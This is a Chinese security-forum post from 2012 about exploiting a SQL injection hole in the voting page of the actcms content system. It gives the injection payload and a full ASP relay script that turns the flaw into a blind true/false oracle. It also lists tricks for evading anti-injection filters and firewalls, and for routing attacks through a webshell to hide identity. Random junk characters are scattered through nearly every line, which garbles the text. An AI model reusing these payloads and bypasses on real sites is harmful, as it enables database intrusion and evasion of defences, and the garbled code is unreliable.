找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1945|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

6 p( G0 ]% c( I看到ninty大牛的blog的一篇文章( u9 l. Z( J+ ~  u  Z3 o2 L
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]5 n. `! T; F$ Y
关于actcms漏洞的利用  by 3x qq:3818625894 q2 G" m( F4 G; P0 f/ O, D2 h
转载请注明以上
2 _* G+ Z9 d7 o, c9 i漏洞文件:
5 h4 r) W- M" E2 G  @/plus/vote/vote.asp& _  }  q8 w4 j9 z1 K6 C0 P
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    ! C  s. w0 u7 \. Y
; ^! h# y0 T6 G" {: {/ k
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   2 q. ]( K% @- l$ R
8 y+ ^2 i$ o. z& t
3    response.end   
; a0 z/ l& P8 P$ ~% ]$ f  f& @7 n" Z* g9 u% @; q/ |
4    end if    % z8 b, N8 L6 Y( b2 [/ K% ~# W1 M$ l
( M1 }4 W, `$ h
5    for i=1 to request("voted").count   
& J  X  F$ B- _5 T. K8 a2 f9 T
  M6 u9 ~, K8 h2 W( `# B6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    " F* S+ d8 K& e# P& r

9 L+ k" D8 J7 V' L3 u  U" k: b; C  U7    next   
% Z6 n6 C6 i5 f+ T4 e3 @2 n& ]5 P# w0 W$ m# Y/ Z" W8 f$ }
8....   
. m/ H* A* G& ?
. [9 L, g) |0 }9response.Redirect "index.asp?id="&id&""   
. b0 N* S, U; R0 V. ~) N投票结束回跳转回index.asp这个投票结果页面
8 ?4 }* N1 I' G# o: Z6 r3 g9 ~( Z" B, G如果投票成功票数加1
* k) J6 l7 s0 E            失败票数不变& @# k; L, F" y; y$ o; n
如图:
" u/ S$ h0 |  ^$ phttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)6 m0 r8 J3 Z6 n& h: \) U7 c2 \1 W
9 O: O$ c! w1 e* v! A( T+ {. p
2009-12-27 13:20
, F% l! I$ X& ^2 V/ N
! n" C1 z% w% M5 _6 T( a5 S利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
  ~3 r) c& G6 b; n" G# E
( _% q/ l) m( H4 s/ D, N/ A本帖隐藏的内容需要回复才可以浏览! {: z( B* _4 o1 }7 p2 t2 h
我们用注入中转来实现这个注入具体代码如下:9 O, L8 O" ?5 P. h3 G- m
先用寂寞的刺猬大牛的注入中转生成jmget.asp
/ B& Y8 e$ f$ Z注入地址:http://localhost/actcms/plus/vote/vote.asp
! J6 }) g+ R! E4 y+ ?3 @注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
  X2 L  G# S. ]' n4 u$ ?
: Z% C. f  _8 A# B2 r) H, l8 b然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
5 B, U$ `' K$ r+ N- v5 O; g" f/ T0 v6 z9 Q6 ~, J
02JmdcwName=request("jmdcw") 4 T6 W8 N9 n: \
) s5 B. w0 P& y9 G! m3 l
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] - ~: s2 c4 r7 M- q/ b3 j
. P) x9 W3 m$ n) y9 o3 K2 j3 W
04JmStr="id=1&voted=-1 or 1="&JmdcwName
. u# F* ~/ Z* I. C( W9 s8 c' Y: }8 S; _1 s( V' d/ t4 G
05JmStr=URLEncoding(JmStr) . u) z: g/ `. @; w3 ]
' N: h) Z1 H: t$ V7 _& h8 o% q
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
4 R0 i5 {+ z  d% v' M+ E. f7 b9 V
# j6 D; t# D0 ~3 c! `& C" X) f07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- H1 R& X& l; m1 D

/ O0 c# a  E* t7 @0 m08testurl=testurl & "?" & JmStr " U+ ^4 i8 m: Z2 B: n' }

8 v, Q% y4 |5 f! D9 l09JMUrl=JMUrl & "?" & JmStr 3 W% w# a; T, _' |

4 i4 r. \9 C' N- l10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
  G- A  p8 b/ e9 ?5 B: v0 u" t. n' h
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"- Y- ^. H2 i; S- M( {9 c

- w9 r% W; `" I# T$ r12JmCok=replace(JmCok,chr(32),"%20")  4 e1 F! z7 `, e! n5 X6 q
  R3 e2 @  y; r
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 0 |9 C0 X( J: l1 m' X2 m
; V0 P# f) y9 w1 l
14  * p! o9 r4 o8 [1 ?4 w6 R
  n7 a! d6 x/ e, r5 N8 l
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
* _/ m+ z2 `4 h8 ^8 }
8 z! S- v% k; j- e- ^16  
6 q! `1 D0 U; J/ r3 ]
' w( ^1 ~4 O# Y17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
" e3 r* n- K- N1 E: U+ m0 t0 Y
, T! Z' c1 e  k8 \18response.write test1&""&test2&""; s% P; n" S5 N

: w* f4 [. v1 n# M  i" A19  
( m- x0 C; Y1 E) Q8 \# _% n% O/ v# _8 @$ n
20if test1=test2 then '如前后记录相等,表示失败 9 Z  W: p2 P4 h$ C3 o

) A" S2 V) ]% o0 Y3 i/ {21  response.write "failed"+ o- y8 z5 y- E+ `/ g4 j7 i" V" p

) X$ b; X% ~. N8 X22else ! w9 Y, m0 X8 D

# w- z2 l: k) A0 R23  response.write "succeed"
7 n5 S$ M: y  x$ v. r& V
- Y. T( q3 i+ Y) z24end if  
$ g( e7 s, }! i) ~0 F, {. b" s/ b
& M/ d' |" @# F2 e- V& \2 H25  
! H3 u# N8 L% `: ]6 z9 e- V7 a  c. s7 }: s5 Z, r  D0 l
26response.write "by 3x") W) Q9 i: x: Z  q

6 Y1 o; ^- X  Z, R27  ( R! E0 h$ O2 U1 T% B0 G

8 U' J; X+ D* K* Y28  
; C6 P+ M4 L4 g0 V# p+ E, f- o1 w" t% t) w  ], q
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
( o' @. L1 N. O9 V9 _; \
; Z, F3 f- u  J9 h2 X6 f  o30Dim Http
8 u7 j$ E9 @% y/ R) D6 u; M) i+ k  X1 S0 L
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") / r  J& f' X9 g$ z9 h
- p2 [# D) n* j: D9 A7 \
32With Http
  {+ @& V3 p5 k: q( U/ _& j# L% A" p: @9 o+ N( g. m
33  
/ ~/ |+ l% F3 \7 r) n# c" ]
- x3 q8 ^; G2 e% r34.Open "GET",PostUrl,False
7 ]; E7 M- z& b
4 U/ \8 J+ z" S, m1 ]3 c, x! N35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"; Y& e  ?& B9 a0 @: @
' x* n. ?8 ~+ r! w2 R% A; P; G+ W
36.SetRequestHeader "Referer",PostRef
3 V% v% m$ J' S6 l1 G& @+ |! _0 g) d; Q
37.SetRequestHeader "Cookie",PostCok
! i0 z" J, m6 d* F* m1 }2 U8 G  C9 {+ P8 D! ^% H$ z
38.Send () , C# D! _8 I" ^, |
5 U% [4 g/ z3 R( U! F
39PostData = .ResponseBody " R6 c" G+ i! f+ j  p- k
1 O  {; t+ O+ ]7 \0 v
40End With+ V" i' y/ P6 A$ n- X' M
" f: D  \" v( F, m9 q. {
41Set Http = Nothing+ G# o& P5 Y6 y/ T' Q! u& i& C' t

; R3 ~% U7 N0 k& j! g7 ?42PostData =bytes2BSTR(PostData) 7 b; ?6 R* M7 ]& ?' q+ S( f

# W9 }2 h) D* p/ o! m) [, T* [43End Function. D) a6 o5 c& y) o" t- w

' X' v. t9 Z& t1 h0 ~- a44  
6 C$ ]4 X) i) `/ R2 {8 g+ G
4 C# U/ ~! P3 x* \6 o4 y45  ' p; [0 l1 {" M, [7 }

! O/ a8 R2 n/ V4 z! F; |46Function bytes2BSTR(vIn) ' B( v' m1 u1 f) e5 Z/ S( p" c; o

1 D1 C/ m* j, c47Dim strReturn ; }* l5 q0 A3 Y0 }8 c
  _- b# w5 h1 s6 K* U, Q
48Dim I, ThisCharCode, NextCharCode   K4 J4 k& e7 v9 `0 Y

5 o! K2 h! a% g49strReturn = ""
; }4 l% f( r( }% A+ @) K+ v: J- E& X9 q0 Z2 a
50For I = 1 To LenB(vIn)
; S/ Z( \" r2 R* T# A( L# F
- }% n: ?) O/ u9 `) I+ @51ThisCharCode = AscB(MidB(vIn, I, 1))
' L5 k5 k1 ?, w5 O3 j' `. Z
0 Y) k: S) b1 K: R" R+ @52If ThisCharCode < &H80 Then
9 @$ K: y  z, h* |  I2 R, z& A
+ Y2 _+ Y- [$ m! K0 R53strReturn = strReturn & Chr(ThisCharCode)
! f; l  J, Z& X2 E, W6 P& o
; q& e/ H' g' V5 ~( N: a54Else& A3 x5 E5 e) \' O+ q  _+ e( k

3 t9 d3 y( h- l2 u55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. `- c) _1 G$ d1 K( E( |, L8 e+ y" q) h9 C, \- b) P
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
* {3 d* N+ j" w$ }5 e2 g6 F. [8 |% r
57I = I + 1
& t2 D5 l6 U* U0 c" o* }1 j& J6 c1 s0 N3 d. K0 U8 g+ K7 A; U
58End If9 H9 [4 [& s# R- m1 l
5 U) I# ?8 Y4 a+ s
59Next
0 e6 \: @( k( @
/ P! n0 j2 ~, t; Y: M6 W+ s$ b60bytes2BSTR = strReturn ( x0 Q+ ?/ {9 W7 e

4 s9 A, J% q" x8 V: y61End Function
' ^( m/ ]2 [+ `4 O4 n5 K
. @0 x% g% R; _1 V9 `; T7 t  V62  
4 d- ^$ M) o. N" A3 F
7 B2 I  b, v) {63Function URLEncoding(vstrin)  ; [* ]& f0 C0 y+ \3 o$ c
7 Q9 P: c  T8 \4 j
64strReturn="". H7 c4 @7 D3 t- ~
! Q$ |0 a+ D! z
65Dim i 9 ^: \0 e; k- X# x! a- g
$ `' B" k: M, O0 L4 @2 o  P5 W
66For i=1 To Len(vstrin)
2 Z0 M3 w" b: y4 r4 i1 C) S! ~  Y( d- \) }
67ThisChr=Mid(vstrin,i,1)
# Y6 Z9 q* C7 M2 {$ I
& x9 k* T0 ^+ S  X68if Abs(Asc(ThisChr))< &HFF Then+ W, N  H4 `1 N+ A9 k0 d% M
- V1 ~3 R) x+ r) V, [1 z6 Z
69strReturn=strReturn & ThisChr
% k; H3 n4 i0 _+ v) d  S
$ c6 J, K: |/ v0 I70Else
/ @+ C8 v- V: h) X
8 |8 x" A% X7 d0 Z71InnerCode=Asc(ThisChr) - j* B5 }3 w4 X8 Y0 d
8 B: n! ]- ^4 C3 X) d
72If InnerCode<0 Then  [7 J6 n& D6 `* _! A7 _

2 o$ X  N! k2 ]1 W- H+ G4 s2 K73InnerCode=InnerCode + &H10000
( X0 F% p) ^0 W2 z" j! K. F
2 f& e5 t0 S' V4 L# ?" \# V74End If# x" ?8 V1 W; d5 w0 u$ {: G

6 t3 [, `4 [* F9 {75Hight1=(InnerCode And &HFF00) \&HFF
; ^. Z( S( R' G! Q! }" S! b  k  V, C0 f& {$ k' F8 o
76Low1=InnerCode And &HFF
/ w- H- j+ l6 z, w; N+ k* d  x- b# q5 _" b- \6 Y
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) % G6 Q1 K3 p7 M$ ?5 X1 H

2 D5 Q  Q$ p/ W( e7 i4 R5 u78End if
4 w) F! F8 g) g+ k2 ~
& i5 I" }# ]0 B# ^, F79Next
$ h' E8 |$ n( C, e- ^0 v( ~" L, q0 e2 I5 b' V6 w" n
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
) b2 [+ G- Y$ n4 d! u- d* N* p  c
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
2 u: t; A& k1 a+ c' ~6 T  t
0 }$ D1 P( d3 `2 b) [82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 % U, }# |+ R8 y) v+ h# d# N( H
5 J4 Q6 u$ O  ~2 y9 s' [
83URLEncoding=strReturn
, j+ `4 J* U( A. u3 k: F# l  b% t9 Q" Q5 B
84End Function
# x* W5 \$ y9 Z; j& V1 _
  q/ D; u# E5 m" W+ s/ \! C# }85  7 k" M# ]; j; D6 D! ^3 g, K1 U

2 O# t& a0 s& E& r, s$ n; ]86function getSt(body)
( v1 c) L4 ^  S# |: c2 `& E8 E  D/ `& E8 |
87  startpot=instr(body,"投票人数:")+len("投票人数:")
9 Y' \- G6 l8 N/ E* G0 `5 W
- S9 Z* B7 C6 W88  endpot=instr(startpot,body," ") $ T: F  C" F3 `- x9 m
& N% l9 b' i5 ^. I/ H5 K2 ?
89  getSt=mid(body,startpot,endpot-startpot)
8 K3 r  x' k% I2 V. B
  p, h' k/ N4 C4 s90end function
+ }2 c! ~' ]0 P  ~& F! }* Y9 X6 M$ V* V0 B/ k( F- [7 {* u: k% D
91%>$ }0 z, Y3 E6 d/ E5 ]: D
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了4 [4 f5 r# _$ y
测试下效果:
/ G. {; D( W6 a% J% P投票成功:  W5 ~& F- y( n' O
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
! F7 N% g: |% j0 P+ w8 Y( y
( q; J% W( |9 g3 L" G* d2009-12-27 13:29# @0 |  a8 G- \6 P  k
投票失败0 x( o( ?" Y" {* ~( B$ K4 c$ X
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)3 k8 Z. a5 _+ j5 }2 Y5 A! r

& a3 Z  d" X7 }2009-12-27 13:29& z9 g% N, _! g5 k: ?3 _, n
-------------------------------------------------------------------------------
, k& G3 @7 [/ W( s; N: q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以0 L  ~; N& O% E
很抱歉。。。只能用单线程工具去注入。。。。。
: w7 g1 M  V) \4 p( v所以失败。。。不好意思。。。
# N& T" D1 W' _" i' y; H-------------------------------------------------------------------------------% F! A1 q5 _0 S4 |" c2 E1 Q
7 h- m$ I; s6 a( i2 P7 U; w
注入中转的一些其他应用5 C7 `- _  r3 k0 V% c
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了/ ?( t! E9 S% {* \& M
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id1 S' K% O# y  [! N) m# y, b
2.post注入转成get型的注入,方便我们使用工具来跑( m5 W) L- G' k" o# S- _1 D; R
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
; `( W& F# r' B2 o4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
! t" `' a! w7 g5 v; q2 V  @' H( u5 h+ p) w9 G+ |! g9 Z9 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表